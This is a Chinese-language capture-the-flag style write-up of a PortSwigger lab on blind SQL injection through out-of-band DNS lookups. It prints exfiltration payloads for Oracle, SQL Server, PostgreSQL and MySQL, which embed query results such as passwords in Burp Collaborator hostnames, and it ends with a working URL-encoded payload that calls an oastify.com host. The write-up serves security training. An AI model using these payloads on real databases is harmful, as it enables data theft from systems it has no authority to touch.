一、題目分析
該實驗室存在一個盲 SQL 注入漏洞。該應用程序使用跟蹤 cookie 進行分析,并執行包含所提交 cookie 值的 SQL 查詢。該 SQL 查詢是異步執行的,不會對應用程序的響應產生影響。不過,我們可以與外部域觸發非帶內交互。要解決此漏洞,需利用 SQL 注入漏洞,從而引發對 Burp Collaborator 的 DNS 查詢操作。同時PortSwigger靶場提醒我們注意為防止 Academy 平臺被用于攻擊第三方,他們的防火墻會阻止實驗室與任意外部系統的交互。要解決此問題,我們必須使用 Burp Collaborator 的默認公共服務器。
接下來我們引入一下sql注入的類型理論知識為我們解決本關打下基礎
二、SQL 注入的類型
SQL 注入是一種常見的網絡安全漏洞,攻擊者通過在應用程序的輸入字段中插入惡意的 SQL 代碼,從而干擾應用程序對其數據庫的查詢。這可能導致數據泄露、數據篡改,甚至完全控制數據庫服務器。
SQL 注入主要分為以下幾種類型:
1. 帶內(In-band)SQL 注入
帶內 SQL 注入是最常見也是最直接的類型,攻擊者可以使用相同的通信渠道發送攻擊和接收結果。它又可以細分為:
-
基于錯誤的 SQL 注入 (Error-based SQLi): 攻擊者故意使數據庫返回錯誤消息,這些錯誤消息中包含了敏感信息(如數據庫結構、列名等)。通過分析這些錯誤,攻擊者可以逐步推斷出數據庫的布局。
-
基于聯合查詢的 SQL 注入 (Union-based SQLi): 攻擊者利用
UNION
運算符將一個惡意的SELECT
查詢的結果與原始查詢的結果合并。這使得攻擊者能夠從數據庫中檢索任意數據,并將其顯示在應用程序的正常輸出中。
2. 推斷(Inferential)SQL 注入 (也稱為盲注入)
推斷 SQL 注入發生在攻擊者無法直接從數據庫獲取數據的情況下。相反,攻擊者根據應用程序響應的行為或時間來推斷數據庫的信息。這種類型的注入通常需要更長的時間來執行,但仍然非常有效。
-
基于布爾的盲注入 (Boolean-based Blind SQLi): 攻擊者發送一系列 SQL 查詢,這些查詢會根據結果的真假導致應用程序的響應有所不同(例如,頁面顯示或不顯示)。通過觀察這些布爾響應,攻擊者可以逐個字符地推斷出數據庫中的數據。
-
基于時間的盲注入 (Time-based Blind SQLi): 攻擊者發送的 SQL 查詢中包含一個時間延遲函數(如
SLEEP()
或BENCHMARK()
)。如果查詢中的條件為真,數據庫將執行延遲,從而導致應用程序響應時間變長。攻擊者通過測量響應時間來判斷條件是否成立,以此推斷出數據。
以上兩種SQL注入我們都在之前的靶場學習過了,接下來我們來學習帶外sql注入,這關主要是讓我們淺淺嘗試
3. 帶外(Out-of-band)SQL 注入
帶外 SQL 注入是一種不常見的類型,它發生在攻擊者無法使用與應用程序相同的通信渠道獲取結果時。在這種情況下,攻擊者利用數據庫服務器的某些功能(如 DNS 查詢或 HTTP 請求)將數據發送到自己控制的外部服務器。這種攻擊通常用于無法通過帶內或推斷技術提取數據的高級場景。
-
通過 DNS 請求的帶外 SQL 注入: 攻擊者利用數據庫的某些函數(如
LOAD_FILE()
或UTL_HTTP
)觸發一個 DNS 查詢到攻擊者控制的域名。查詢的子域名部分可以編碼從數據庫中提取的數據。 -
通過 HTTP 請求的帶外 SQL 注入: 攻擊者使數據庫服務器向攻擊者控制的 HTTP 服務器發送請求,請求中包含了從數據庫中提取的數據。
本關就是考察通過 DNS 請求的帶外 SQL 注入。
三、帶外注入語句
在butpsuite提供的cheat-sheet中,給出了各個數據庫的外帶語句:
下面是針對不同數據庫的語句解釋:
1. Oracle
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://' || (SELECT YOUR-QUERY-HERE) || '.BURP-COLLABORATOR-SUBDOMAIN/">%remote;]>'),'/l1') FROM dual
-
原理:利用 XML 類型解析錯誤來觸發外部 HTTP 請求。
-
解釋:
-
EXTRACTVALUE(xmltype(...),'/l1')
:這是一個 XML 解析函數,用于從 XML 數據中提取值。 -
xmltype(...)
:這部分構造了一個畸形的 XML 文檔,其中包含一個外部實體引用<!ENTITY % remote SYSTEM "http://...">
。 -
(SELECT YOUR-QUERY-HERE)
:這是你的注入查詢,例如(SELECT password FROM users WHERE username='admin')
。它的結果會被拼接到 URL 中。 -
.BURP-COLLABORATOR-SUBDOMAIN/
:這是 Burp Collaborator 生成的唯一子域名。當 Oracle 嘗試解析這個外部實體時,它會向該 URL 發送一個 HTTP 請求。
-
-
結果:這里利用了 XML 解析器“需要”訪問外部資源來完成解析的這一特性,而不是依賴于傳統的 SQL 注入。即使解析最終會失敗(因為 XML 文檔結構不完整),在解析器嘗試加載外部實體的那個瞬間,數據就已經被發送出去了。如果注入成功,Oracle 數據庫會向一個包含查詢結果的 URL 發送請求,攻擊者可以在 Burp Collaborator 上接收到這個請求,從而獲取數據。
2. Microsoft SQL Server
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master.xp_dirtree //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a'')
-
原理:利用
xp_dirtree
系統存儲過程來觸發 UNC 路徑訪問,從而導致 DNS 請求。 -
解釋:
-
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);
:聲明一個變量@p
并將你的注入查詢結果賦值給它。 -
exec('master.xp_dirtree //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a'')
:執行一個存儲過程xp_dirtree
,它通常用于列出文件目錄。這里巧妙地利用它來嘗試訪問一個網絡共享路徑。 -
//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a''
:這是一個 UNC 路徑(網絡共享路徑),它將你的查詢結果@p
嵌入到主機名中。
-
-
結果:當 SQL Server 嘗試訪問這個 UNC 路徑時,它會先執行一個 DNS 查詢來解析主機名,這個查詢包含了你的數據。攻擊者可以在 DNS 服務器(如 Burp Collaborator)上捕獲這個查詢。
3. PostgreSQL
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
execute c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
end;
$$ language plpgsql security definer;
SELECT f();
-
原理:創建一個臨時函數,利用
copy
命令來執行外部程序nslookup
,從而觸發 DNS 查詢。 -
解釋:
-
create OR replace function f() ...
:創建一個臨時的 PL/pgSQL 函數f()
。 -
SELECT into p (SELECT YOUR-QUERY-HERE);
:將你的注入查詢結果存儲到變量p
中。 -
execute c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''';
:這是核心部分。copy ... to program ...
命令通常用于將查詢結果導出到外部程序。這里它被濫用,通過nslookup
命令向一個包含查詢結果的域名發送 DNS 請求。
-
-
結果:執行
SELECT f()
時,函數會執行nslookup
命令,向包含查詢結果的子域名發起 DNS 請求。
4. MySQL (Windows only)
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
-
原理:利用
INTO OUTFILE
語句將查詢結果寫入到一個網絡共享路徑,從而觸發 DNS 查詢。 -
解釋:
-
SELECT YOUR-QUERY-HERE INTO OUTFILE ...
:將你的查詢結果寫入一個文件。 -
\\\\BURP-COLLABORATOR-SUBDOMAIN\a
:這是一個 UNC 路徑。由于 MySQL 在 Windows 上執行此操作,它會嘗試訪問這個網絡路徑,并觸發一個 DNS 查詢來解析域名。
-
-
結果:與 SQL Server 類似,MySQL 會向 Burp Collaborator 域名發送 DNS 請求,從而泄露查詢結果。這個方法只在 MySQL 服務運行在 Windows 系統上時才有效。
5、開始嘗試
我們從oracle開始嘗試,只需要將.BURP-COLLABORATOR-SUBDOMAIN
換成生成的地址。
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a///5syvatdg4musou1rj8t1c03qxh38rzfo.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--
四、成功通關
學習參考:歸去來兮-zangcc??【送書活動第2期】打靶Portswigger系列—— 一口氣通關18個SQL注入靶場詳細流程(文末送書)